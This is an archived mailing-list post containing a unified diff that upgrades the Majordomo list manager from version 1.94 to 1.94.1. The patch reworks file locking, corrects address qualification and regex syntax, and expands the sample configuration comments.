 	if (&lopen(LIST, "", "$listdir/$clean_list")) {
 	    while (<LIST>) {
 		print REPLY $_;
+		$counter++;
 	    }
 	    &lclose(LIST);
+	    printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"),
+		($counter == 1 ? "" : "s");
 	    &log("who $clean_list");
 	} else {
 	    &abort("Can't open $listdir/$clean_list: $!");
@@ -1020,7 +1027,8 @@
 		    return (1);
 		} 
 
-		&shlock( "$listdir/$clean_list.config.LOCK");
+		&set_lock( "$listdir/$clean_list.config.LOCK") ||
+		    &abort( "Can't get lock for $listdir/$clean_list.config");
 		$rename_fail = 0;
 		do { print REPLY "rename current -> old failed $!";
 			$rename_fail = 1; } 
@@ -1032,7 +1040,7 @@
 			     !rename("$listdir/$clean_list.new.config",
 			             "$listdir/$clean_list.config"));
 
-		unlink( "$listdir/$clean_list.config.LOCK");
+		&free_lock( "$listdir/$clean_list.config.LOCK");
 
 		print REPLY "New config for list $clean_list accepted.\n"
 			if !$rename_fail;
@@ -1074,7 +1082,7 @@
 sub do_writeconfig {
     # Check to make sure we've got the right arguments
     # and Check that the list is valid
-    local($sm) = "writeinfo";
+    local($sm) = "writeconfig";
     local($list) = shift;
     local($clean_list);
     if ( ((!$list) || ! ($clean_list = &valid_list($listdir, $list)))
@@ -1491,8 +1499,8 @@
 
 	auth $cookie $cmd $list $subscriber
 
-If you do not want to this action taken, just ignore this message and
-no action will be taken.
+If you do not want this action to be taken, simply ignore this message
+and no action will be taken.
 
 If you have any questions about the policy of the list owner, please
 contact "$list-approval\@$whereami".
@@ -1534,7 +1542,7 @@
     local(*APPROVE);
 
     # open a sendmail process for the approval request
-    &sendmail(APPROVE, "$list-approval", "APPROVE $list");
+    &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list");
 
     # Generate the approval request
     print APPROVE <<"EOM";
@@ -1675,7 +1683,7 @@
     close(MSG);
 
     # tell the list owner of the new subscriber
-    &sendmail(NOTICE, "$list-approval", "SUBSCRIBE $list");
+    &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list");
     print NOTICE "$subscriber has been added to $list.\n";
     print NOTICE "No action is required on your part.\n";
     close(NOTICE);
diff -u ./majordomo.pl ../majordomo-1.94.1/majordomo.pl
--- ./majordomo.pl	Tue Oct  8 21:01:52 1996
+++ ../majordomo-1.94.1/majordomo.pl	Tue Nov 19 11:22:09 1996
@@ -1,12 +1,12 @@
 # General subroutines for Majordomo
 
-# /sources/cvsrepos/majordomo/majordomo.pl,v
-# 1.39
-# 1996/10/08 19:01:52
-# cwilson
-# Exp
+# $Source: /sources/cvsrepos/majordomo/majordomo.pl,v $
+# $Revision: 1.46 $
+# $Date: 1996/11/19 10:22:09 $
+# $Author: cwilson $
+# $State: Exp $
 # 
-# /sources/cvsrepos/majordomo/majordomo.pl,v 1.39 1996/10/08 19:01:52 cwilson Exp
+# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.46 1996/11/19 10:22:09 cwilson Exp $
 # 
 
 # The exit codes for abort.  Look in /usr/include/sysexits.h.
@@ -52,7 +52,7 @@
 
     # force unqualified filehandles into callers' package
     local($package) = caller;
-    $FH =~ s/^[^']+$/$package'$&/;
+    $FH =~ s/^[^':]+$/$package'$&/;
 
     ($*, $/) = (1, '');
     $array = $_ = <$FH>;
@@ -97,7 +97,7 @@
     1 while s/"[^"]*"//g;		# strip comments"
     split(/,/);				# split into parts
     foreach (@_) {
-	1 while s/.*<(.*)>.*/\1/;
+	1 while s/.*<(.*)>.*/$1/;
 	s/^\s+//;
 	s/\s+$//;
     }
@@ -112,7 +112,7 @@
     # start with a space-separated list of the rest of the arguments
     local($taint_list) = join(" ", @_);
     # strip harmless matched leading and trailing angle brackets off the list
-    1 while $taint_list =~ s/^<(.*)>$/\1/;
+    1 while $taint_list =~ s/^<(.*)>$/$1/;
     # strip harmless trailing "@.*" off the list
     $taint_list =~ s/\@.*$//;
     # anything else funny with $taint_list probably isn't harmless; let's check
@@ -200,10 +200,10 @@
 sub main'abort { #'
     # first, tell the requestor that something bad happened.
     # XXX is this really meaningful for, say, resend?
-    print REPLY ">>> Sorry, an error has occurred while processing your request\n";
-    print REPLY ">>> The caretaker of Majordomo ( $abort_addr ) has been notified\n";
-    print REPLY ">>> of the problem.\n";
-    close (REPLY);
+    print main'REPLY ">>> Sorry, an error has occurred while processing your request\n";
+    print main'REPLY ">>> The caretaker of Majordomo ( $abort_addr ) has been notified\n";
+    print main'REPLY ">>> of the problem.\n";
+    close (main'REPLY);
 
     # log the reason for the abort, if possible.  We don't log if we're
     # completely hosed, or if we're aborting trying to send mail because we
@@ -239,14 +239,14 @@
 }
 
 # bitch about a serious problem, but not fatal.  Note that currently
-# (1.94a9) only majordomo bitches; if resend ever has a reason to, games
+# (1.94) only majordomo bitches; if resend ever has a reason to, games
 # will have to be played with &set_mail_prog and $bounce_mailer so the
 # bitch goes through properly.
 sub main'bitch {
     # log the reason for the abort, if possible
-    &main'log("WARNING ($program_name)", join(" ", @_), "\n") unless $COMPLETELY_FATAL; #';
+    &main'log("$0: WARNING ", join(" ", @_), "\n") unless $COMPLETELY_FATAL; #';
     # print the reason for the abort to stderr; maybe someone will see it
-    print STDERR "WARNING ($program_name)\n";
+    print STDERR "$0: WARNING \n";
     print STDERR join(" ", @_), "\n";
     # send a message to the Majordomo owner, if possible
     if (defined($abort_addr)) {
@@ -346,8 +346,8 @@
 
 # Globals referenced by &set_mail* and &sendmail
 $mail_prog = "$sendmail_command -f\$sender -t";
-$mail_from = "Majordomo";
-$mail_sender = "Majordomo-Owner";
+$mail_from = $whoami;
+$mail_sender = $whoami_owner;
 
 # set the mailer
 sub main'set_mailer {
@@ -371,7 +371,7 @@
     # It makes sense to check to see that the mailer is valid here, but the
     # abort routine must make certain that recursion doesn't develop,
     # because abort calls this routine.
-    &main'abort("do_exec_sendmail, mailer $_[0] not executable")
+    &main'abort("$0: do_exec_sendmail, mailer $_[0] not executable")
       unless (-x $_[0]);
     exec(@_);
     die("Failed to exec mailer \"@_\": $!");
@@ -392,7 +392,7 @@
 
     # force unqualified filehandles into caller's package
     local($package) = caller;
-    $MAIL =~ s/^[^']+$/$package'$&/;
+    $MAIL =~ s/^[^':]+$/$package'$&/;
 
     # clean up the addresses, for use on the mailer command line
     local(@to) = &main'ParseAddrs($to);
@@ -399,8 +399,13 @@
     for (@to) {
 	$_ = join(", ", &main'ParseAddrs($_));
     }
-    $to = join(", ", @to);
+    $to = join(", ", @to);  #';
 
+print STDERR "$0: main'sendmail:  To $to, Subject $subject, From $from\n" 
+    if $DEBUG;
+print STDERR "$0: main'sendmail:  Sender $sender, mail_cmd = $mail_cmd\n"
+    if $DEBUG;
+
     # open the process
     if (defined($isParent = open($MAIL, "|-"))) {
  	&main'do_exec_sendmail(split(' ', $mail_cmd))
@@ -508,7 +513,7 @@
     # exists. If it does we bounce it as a hostile address.
 
     if ( m#/# ) {
-        local(@components) = split( /\//, $_);
+	local(@components) = ($_ =~ /([\/\@]?[^\/\@]+)/g);
 
 	&main'abort("HOSTILE ADDRESS (path exists to /file) $addr")
                 if (-e "/$components[0]"); #'
@@ -519,13 +524,13 @@
        # file we make sure that the last component of the address has an
        # @ sign on it for an X.400->smtp gateway translation.
 
-        if (!$no_x400at) {
+        if (!$main'no_x400at) {
 	    &main'abort("HOSTILE ADDRESS (no x400 \@) $addr") if (
                     "$components[$#components]" !~ /\@/);  #'
 	}
 
         # check to see that the c= and a[dm]= parts exist
-	if (!$no_true_x400) {
+	if (!$main'no_true_x400) {
             &main'abort("HOSTILE ADDRESS (no x400 c=) $addr")
                     if ($_ !~ m#/c=#); #'
             &main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr")
diff -u ./majordomo_version.pl ../majordomo-1.94.1/majordomo_version.pl
--- ./majordomo_version.pl	Sun Oct 20 15:19:00 1996
+++ ../majordomo-1.94.1/majordomo_version.pl	Fri Nov 22 18:30:58 1996
@@ -1,5 +1,5 @@
-# /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.17 1996/10/20 13:19:00 cwilson Exp
+# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.18 1996/11/22 17:30:58 cwilson Exp $
 
-$majordomo_version = "1.94";
+$majordomo_version = "1.94.1";
 1;
 
Common subdirectories: ./md-sub and ../majordomo-1.94.1/md-sub
diff -u ./medit ../majordomo-1.94.1/medit
--- ./medit	Wed Jan 17 16:14:53 1996
+++ ../majordomo-1.94.1/medit	Mon Nov 18 16:10:31 1996
@@ -5,13 +5,13 @@
 # Copyright 1992, D. Brent Chapman.  All Rights Reserved.  For use by
 # permission only.
 #
-# /sources/cvsrepos/majordomo/medit,v
-# 1.5
-# 1996/01/17 15:14:53
-# cwilson
-# Exp
+# $Source: /sources/cvsrepos/majordomo/medit,v $
+# $Revision: 1.6 $
+# $Date: 1996/11/18 15:10:31 $
+# $Author: cwilson $
+# $State: Exp $
 #
-# 
+# $Locker:  $
 
 # set our path explicitly
 $ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb";
@@ -43,17 +43,15 @@
 foreach (@ARGV) {
     $lockfile = $_;
     $lockfile =~ s,([^/]*)$,L.$1,;
+    $shlock'waittime = 5;
     for ($tries = 0 ; $tries < 60 ; $tries++) {
-	if (&shlock($lockfile)) {
+	if (&set_lock($lockfile)) {
 	    # got the lock
 	    system("$editor $_");
-	    unlink($lockfile);
+	    &free_lock($lockfile);
 	    last;
 	} else {
-	    if (($tries % 5) == 0) {
-		print "Waiting for lock on $_...\n";
-	    }
-	    sleep(1);
+	    print "Waiting for lock on $_...\n";
 	}
     }
     if ($tries > 60) {
diff -u ./request-answer ../majordomo-1.94.1/request-answer
--- ./request-answer	Mon Sep 23 00:07:48 1996
+++ ../majordomo-1.94.1/request-answer	Mon Nov 11 18:33:39 1996
@@ -1,13 +1,13 @@
 #!/bin/perl
 
 
-# /sources/cvsrepos/majordomo/request-answer,v
-# 1.12
-# 1996/09/22 22:07:48
-# cwilson
-# Exp
+# $Source: /sources/cvsrepos/majordomo/request-answer,v $
+# $Revision: 1.13 $
+# $Date: 1996/11/11 17:33:39 $
+# $Author: cwilson $
+# $State: Exp $
 #
-# 
+# $Locker:  $
 
 # set our path explicitly
 # PATH it is set in the wrapper, so there is no need to set it here.
@@ -48,7 +48,7 @@
 $bounce_mailer = "$sendmail_command -f\$sender -t"
   unless defined $bounce_mailer;
 
-$sender = "$list-approval";
+$sender = "$list-approval\@$whereami";
 
 $mailcmd = eval qq/"$bounce_mailer"/;
 
@@ -62,7 +62,7 @@
 
 print MAIL <<"EOM";
 To: $reply_to
-From: $list-request
+From: $list-request\@$whereami
 Subject: Your mail to $list-request\@$whereami
 In-Reply-To: $in_reply_to
 Reply-To: $list-approval\@$whereami
diff -u ./resend ../majordomo-1.94.1/resend
--- ./resend	Sun Oct 20 13:16:52 1996
+++ ../majordomo-1.94.1/resend	Mon Nov 18 16:25:14 1996
@@ -1,16 +1,16 @@
 #!/bin/perl
-# $Modified: Tue Oct 15 22:50:15 1996 by cwilson $
+# $Modified: Mon Nov 18 16:24:55 1996 by cwilson $
 
 # Copyright 1992, D. Brent Chapman.  All Rights Reserved.  For use by
 # permission only.
 #
-# /sources/cvsrepos/majordomo/resend,v
-# 1.71
-# 1996/10/20 11:16:52
-# cwilson
-# Exp
+# $Source: /sources/cvsrepos/majordomo/resend,v $
+# $Revision: 1.74 $
+# $Date: 1996/11/18 15:25:14 $
+# $Author: cwilson $
+# $State: Exp $
 #
-# 
+# $Locker:  $
 #
 #  Okay, resend accepts many command line arguments, as revealed by the
 #  Getopts call:
@@ -72,7 +72,7 @@
 # behavior which allowed getopts.pl to be in the same place as
 # majordomo.cf.
 require "getopts.pl";
-&Getopts("CcAa:df:h:I:l:M:p:Rrs") || die("resend: Getopts() failed: $!");
+&Getopts("C:c:Aa:df:h:I:l:M:p:Rrs") || die("resend: Getopts() failed: $!");
 
 if (! defined($opt_l)) {
   die("resend: must specify '-l list'");
@@ -375,7 +375,7 @@
     # The Approved: line is valid
     # Look at the next line:
     $_ = <IN>;
-    if (!/^\s$/) {
+    if (/\S/) {
 	# We have something other than a blank line.  We _assume_ it's
 	# header.  Consequences: if it's not a header, things get screwed
 	# badly.  If we reverse the logic and look instead for something
@@ -445,7 +445,7 @@
 
 # Yes Tigger, *now* you can bounce.  We've checked for 
 # any Approved headers & lines, taboo_headers, and taboo_bodies
-&bounce($result) if ( $result !~ /^\s*$/ && ! defined($approved));
+&bounce($result) if ( $result =~ /\S/ && ! defined($approved));
 
 # Print out any message_footers
 #
@@ -615,9 +615,10 @@
     while (<IN>) {		                      
 	print STDERR "$0: parse_header: [$.: $_]" if $DEBUG;
 
-	last if /^$/;				      # stop when we hit the end.  RFC822.
-	next if /^\s*$/;			      # skip leading blank lines; usually only there if this is a
-						      # restart after an in-body "Approved:" line
+	last if /^$/;		# stop when we hit the end.  RFC822.
+	next unless /\S/;	# skip leading blank lines; usually only
+				# there if this is a restart after an
+				# in-body "Approved:" line
 
 	print STDERR "$0: parse_header: [$.] taboo_header check\n" 
 	    if $DEBUG;
@@ -625,12 +626,12 @@
 	#
 	if ($#taboo_headers >= $[ && !$approved &&
 	    eval $is_taboo_header) {
-	    $gonna_bounce .= "taboo header: $taboo";
+	    $gonna_bounce .= "taboo header: $taboo ";
 	    print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
 	}
 	if ($#global_taboo_headers >= $[ && !$approved &&
 	    eval $is_global_taboo_header) {
-	    $gonna_bounce .= "global taboo header: $taboo";
+	    $gonna_bounce .= "global taboo header: $taboo ";
 	    print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
 	}
 
@@ -642,7 +643,7 @@
 
 	if ($#admin_headers >= $[ && !$approved &&
 	    eval $is_admin_header) {
-	    $gonna_bounce .= "Admin request: $taboo";
+	    $gonna_bounce .= "Admin request: $taboo ";
 	    print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
 	}
 	
@@ -668,7 +669,7 @@
 		$approved = &chop_nl($1);
 		if ($approved ne $opt_a				# check the p/w given against approve_passwd
 		    && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ')
-		    $gonna_bounce  .= "Invalid 'Approved:' header"; 
+		    $gonna_bounce  .= "Invalid 'Approved:' header "; 
 		    print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
 		    undef $approved;
 		} else {
@@ -694,10 +695,10 @@
 	}
 
 	# skip these special headers
-	if ((/^precedence:/i && defined($opt_p))		# skip only if "-p" set
-	    || (/^received:/i && defined($opt_R))		# skip only if "-R" set
-	    || (/^\s/ && ! $kept_last) 		        	# skip if skipped last
-	   )
+	if ((/^precedence:/i && defined($opt_p))	# skip only if "-p" set
+	    || (/^received:/i && defined($opt_R))	# skip only if "-R" set
+	    || (/^reply-to:/i && defined($opt_r))	# skip only if "-r" set
+	    || (/^\s/ && ! $kept_last)			# skip if skipped last
 	  {
 	    $kept_last = 0;
 	    print STDERR "$0:    skipped\n" if $DEBUG;
@@ -740,6 +741,9 @@
 	    }
 	}
 	
+# Virtual Majordomo Hack
+	s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ;
+
 	&check_hdr_line($_);					# check for length & balance on from, cc, and to fields.
 	print OUT $_;
     }
@@ -846,7 +850,7 @@
     local($t) = shift;
     # Remove quoted material
     # ( looks like lisp, don't it? )
-    1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/\1/g; #"
+    1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #"
     # strip out all nested parentheses
     1 while $t =~ s/\([^\(\)]*\)//g;
     # strip out all nested angle brackets
diff -u ./sample.cf ../majordomo-1.94.1/sample.cf
--- ./sample.cf	Tue Oct  8 21:02:14 1996
+++ ../majordomo-1.94.1/sample.cf	Fri Nov 22 17:35:58 1996
@@ -1,6 +1,12 @@
+#
+# A sample configuration file for majordomo.  You must read through this and
+# edit it accordingly!
+#
+
+
 # $whereami -- What machine am I running on?
 #
-$whereami = "foo.NOWHERE.COM";
+$whereami = "this.domain.wont.resolve";
 
 # $whoami -- Who do users send requests to me as?
 #
@@ -29,7 +35,7 @@
 # 	/usr/local/mail/digest/bblisa
 # as its directory.
 #
-$digest_work_dir = '/usr/local/mail/digest';
+$digest_work_dir = "/usr/local/mail/digest";
 
 # $log -- Where do I write my log?
 #
@@ -49,9 +55,14 @@
 # variables may be provided by the person sending mail, and much mischief
 # can be had by playing with this variable.  It is perfectly safe to use
 # $sender, but the others are insecure.
-
-$mailer = "$sendmail_command -oi -f\$sender";
-$bounce_mailer = "$sendmail_command -oi -f\$sender -t";
+#
+# Sendmail option -oi:  Do not take a . on a line by itself as the message
+#			terminator.
+# Sendmail option -oee: Force sendmail to exit with a zero exit status if
+#			if it's not going to give useful information.
+#
+$mailer = "$sendmail_command -oi -oee -f\$sender";
+$bounce_mailer = "$sendmail_command -oi -oee -f\$sender -t";
 
 # You can special case the mailer used to deliver outbound mail as follows:
 #
@@ -65,6 +76,22 @@
 #   $mailer = "$sendmail_command -oQ /var/spool/listq -f\$sender";
 # }
 
+# You can force Majordomo to delay any processing if the system load is too
+# high by uncommenting the following lines.  THIS ONLY WORKS if your "uptime" command
+# (usually found in /usr/bin/uptime or /usr/bsd/uptime) returns a string like:
+#   5:23pm  up  5:51,  9 users,  load average: 0.19, 0.25, 0.33
+#
+#$max_loadavg = 10;                 # Choose the maximum allowed load
+#
+#$uptime = `/usr/bin/uptime` if -x /usr/bin/uptime;     # Get system uptime
+#$uptime = `/usr/bsd/uptime` if -x /usr/bsd/uptime;     # or uptime is over here.
+#
+#($avg_1_minute, $avg_5_minutes, $avg_15_minutes) = 
+#    $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/;
+#
+#exit 75 if ($avg_15_minute >= $max_loadavg);           # E_TEMPFAIL
+#
+
 # Set the default subscribe policy for new lists here.  
 # If not defined, defaults to "open", but in today's increasingly
 # imbecile Internet, "open+confirm" or "auto+confirm" is a wiser
@@ -132,6 +159,7 @@
 # Set the umask for the process. Used to set default file status for
 # config file.
 #
+umask(007);
 $config_umask = 007;
 
 # don't change this. It checks to make sure that you have a new enough
@@ -152,13 +180,14 @@
 # majordomo has r/w permission to.
 # Uses the environment variable TMPDIR, since that's pretty common
 #
-$TMPDIR = $ENV{'TMPDIR'} || '/usr/tmp';
+$TMPDIR = $ENV{'TMPDIR'} || "/usr/tmp";
 
-# Tune the number of retries that shlock does before aborting.
-# This defaults to 600, with a random sleep from 1-10 seconds between
-# tries.
+# Tune how long set_lock tries to obtain a lock before giving up. Each
+# attempt waits 1 to 10 seconds before trying again and waittime is
+# the total minimum time spent trying. This defaults to 600 seconds (5
+# minutes), which translates to no less then 60 nor more than 600 tries.
 #
-# $shlock'retries = 1200;
+# $shlock'waittime = 1200;
 
 # tune the cookie for subscribe_policy=confirm.  Normally this is
 # set to $homedir.  *Don't* make this something like rand(400), 
@@ -267,4 +296,4 @@
 END
 
 1;
-# /sources/cvsrepos/majordomo/sample.cf,v 1.22 1996/10/08 19:02:14 cwilson Exp
+# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.25 1996/11/22 16:35:58 cwilson Exp $
diff -u ./shlock.pl ../majordomo-1.94.1/shlock.pl
--- ./shlock.pl	Sun Jul 21 21:45:49 1996
+++ ../majordomo-1.94.1/shlock.pl	Tue Nov 19 11:22:22 1996
@@ -6,7 +6,7 @@
 
 package shlock;
 
-sub warn { &main'bitch(@_); }
+sub warn { &main'abort(@_); }
 
 $shlock_debug = 0;
 
@@ -14,12 +14,11 @@
 $ESRCH = 3;
 $EEXIST = 17;
 
-$retries = 600 if !$retries;	# can be set before the require.
+$waittime = 600 if !$waittime;	# can be set before the require.
 
 # Lock a process via lockfile.
 #
-sub main'shlock	## Public
-{
+sub main'shlock {
     local($file) = shift;
     local($tmp);
     local($retcode) = 0;
@@ -54,6 +53,26 @@
     return($retcode);
 }
 
+# Create a lock file (with retry).
+#
+sub main'set_lock {
+    local($lockfile) = @_;
+    local($slept) = 0;
+
+    while ($slept < $waittime) {
+	return 1 if &main'shlock("$lockfile");
+
+	# didn't get the lock; wait 1-10 seconds and try again.
+	$slept += sleep(int(rand(9) + 1));
+    }
+    # if we got this far, we ran out of tries on the lock.
+    return undef;
+}
+
+sub main'free_lock {
+    unlink $_[0];
+}
+
 # open a file locked for exclusive access; we remember the name of the lock
 # file, so that we can delete it when we close the file
 #
@@ -64,7 +83,6 @@
     # $fm is what will actually get passed to open()
     local($fm) = "$mode$file";
     local($status);
-    local($tries);
 
     # create name for lock file
     local($lockfile) = $file;
@@ -72,29 +90,20 @@
 
     # force unqualified filehandles into callers' package
     local($package) = caller;
-    $FH =~ s/^[^']+$/$package'$&/;
+    $FH =~ s/^[^':]+$/$package'$&/; 
 
-    for ($tries = 0 ; $tries < $retries ; $tries++) {
-	# Try to obtain the lock $retries times, waiting 1 second after each try
-	if (&main'shlock("$lockfile")) {
-	    # Got the lock; now try to open the file
-	    $status = open($FH, $fm);
-	    if (defined($status)) {
-		# File successfully opened; remember the lock file for deletion
-		$lock_files[fileno($FH)] = "$lockfile";
-	    } else {
-		# File wasn't successfully opened; delete the lock
-		unlink("$lockfile");
-	    }
-	    # return the success or failure of the open
-	    return($status);
-	} else {
-	    # didn't get the lock; wait 0-10 seconds and try again.
-	    sleep(rand(10));
-	}
-    }
-    # If we get this far, we ran out of tries on the lock.
-    return undef;
+    return undef unless &main'set_lock("$lockfile");
+
+    # Got the lock; now try to open the file
+    if ($status = open($FH, $fm)) {
+	# File successfully opened; remember the lock file for deletion
+	$lock_files[fileno($FH)] = "$lockfile";
+    } else {
+	# File wasn't successfully opened; delete the lock
+	       &main'free_lock($lockfile);
+     }
+    # return the success or failure of the open
+    return $status;
 }
 
 # reopen a file already opened and locked (probably to change read/write mode).
@@ -114,7 +123,7 @@
 
     # force unqualified filehandles into callers' package
     local($package) = caller;
-    $FH =~ s/^[^']+$/$package'$&/;
+    $FH =~ s/^[^':]+$/$package'$&/;
 
     # close the old file handle, and delete the lock reference
     if ($lock_files[fileno($FH)]) {
@@ -147,7 +156,7 @@
 
     # force unqualified filehandles into callers' package
     local($package) = caller;
-    $FH =~ s/^[^']+$/$package'$&/;
+    $FH =~ s/^[^':]+$/$package'$&/;
 
     local($lock) = $lock_files[fileno($FH)];
     close($FH);
@@ -162,7 +171,7 @@
 
     # force unqualified filehandles into callers' package
     local($package) = caller;
-    $FH_name =~ s/^[^']+$/$package'$&/;
+    $FH_name =~ s/^[^':]+$/$package'$&/;
 
     if ( -e $filename ) {
 	&warn("Failed to open temp file $filename, it exists");
@@ -227,7 +236,7 @@
 
 sub check_lock {
     local($file) = shift;
-    local(*FILE, $len, $pid, $buf);
+    local(*FILE, $pid, $buf);
 
     print STDERR "checking extant lock \"$file\"\n" if $shlock_debug;
     unless (open(FILE, "$file")) {
@@ -277,7 +286,7 @@
     } while ($loop);
 
     unless (print FILE "$$\n") {
-	&warn("shlock failed: write(\"$tempfile\", \"$$\"): $!");
+	&warn("shlock failed: write(\"$tempname\", \"$$\"): $!");
 	close(FILE);
 	unlink($tempname) || &warn("shlock: unlink(\"$tempname\"): $!");
 	return(undef);
diff -u ./wrapper.c ../majordomo-1.94.1/wrapper.c
--- ./wrapper.c	Mon Sep 23 00:08:57 1996
+++ ../majordomo-1.94.1/wrapper.c	Mon Nov 18 16:34:21 1996
@@ -1,16 +1,16 @@
 /*
- *  /sources/cvsrepos/majordomo/wrapper.c,v
- *  1.6
- *  1996/09/22 22:08:57
- *  cwilson
- *  Exp
+ *  $Source: /sources/cvsrepos/majordomo/wrapper.c,v $
+ *  $Revision: 1.7 $
+ *  $Date: 1996/11/18 15:34:21 $
+ *  $Author: cwilson $
+ *  $State: Exp $
  *
+ *  $Locker:  $
  *  
- *  
  */
 
 #ifndef lint
-static char rcs_header[] = "/sources/cvsrepos/majordomo/wrapper.c,v 1.6 1996/09/22 22:08:57 cwilson Exp";
+static char rcs_header[] = "$Header: /sources/cvsrepos/majordomo/wrapper.c,v 1.7 1996/11/18 15:34:21 cwilson Exp $";
 #endif
 
 #include <stdio.h>
@@ -39,7 +39,7 @@
 #endif
 
 #ifndef SHELL
-#  define SHELL "SHELL=/bin/csh"
+#  define SHELL "SHELL=/bin/sh"
 #endif
 
 char * new_env[] = {
diff -u ./wrapper.sh ../majordomo-1.94.1/wrapper.sh
--- ./wrapper.sh	Mon May  9 19:41:29 1994
+++ ../majordomo-1.94.1/wrapper.sh	Mon May  9 19:41:29 1994
@@ -10,4 +10,4 @@
 
 exec $0.${arch} "$@"
 
-# /sources/cvsrepos/majordomo/wrapper.sh,v 1.4 1994/05/09 17:41:29 rouilj Exp
+# $Header: /sources/cvsrepos/majordomo/wrapper.sh,v 1.4 1994/05/09 17:41:29 rouilj Exp $


	 Chan Wilson  ---  cwilson@sgi.com  ---  +4138-433-760
	      Silicon Graphics, SA.  Cortaillod, Switzerland.
     "Network Analyst"  &&  Irix Guru  &&  Gravitational Engineer

Follow-Ups:
Indexed By Date Previous: Re: Umask not set in 1.94
From: Chan Wilson <cwilson@slurp.neu.sgi.com>
Next: Coding style
From: Brent Chapman <Brent@GreatCircle.COM>
Indexed By Thread Previous: request for information
From: Rick Mooney <rmooney@tenet.edu>
Next: Re: test this 1.94.1 rollup patch
From: Dave Barr <barr@math.psu.edu>

Google
 
Search Internet Search www.greatcircle.com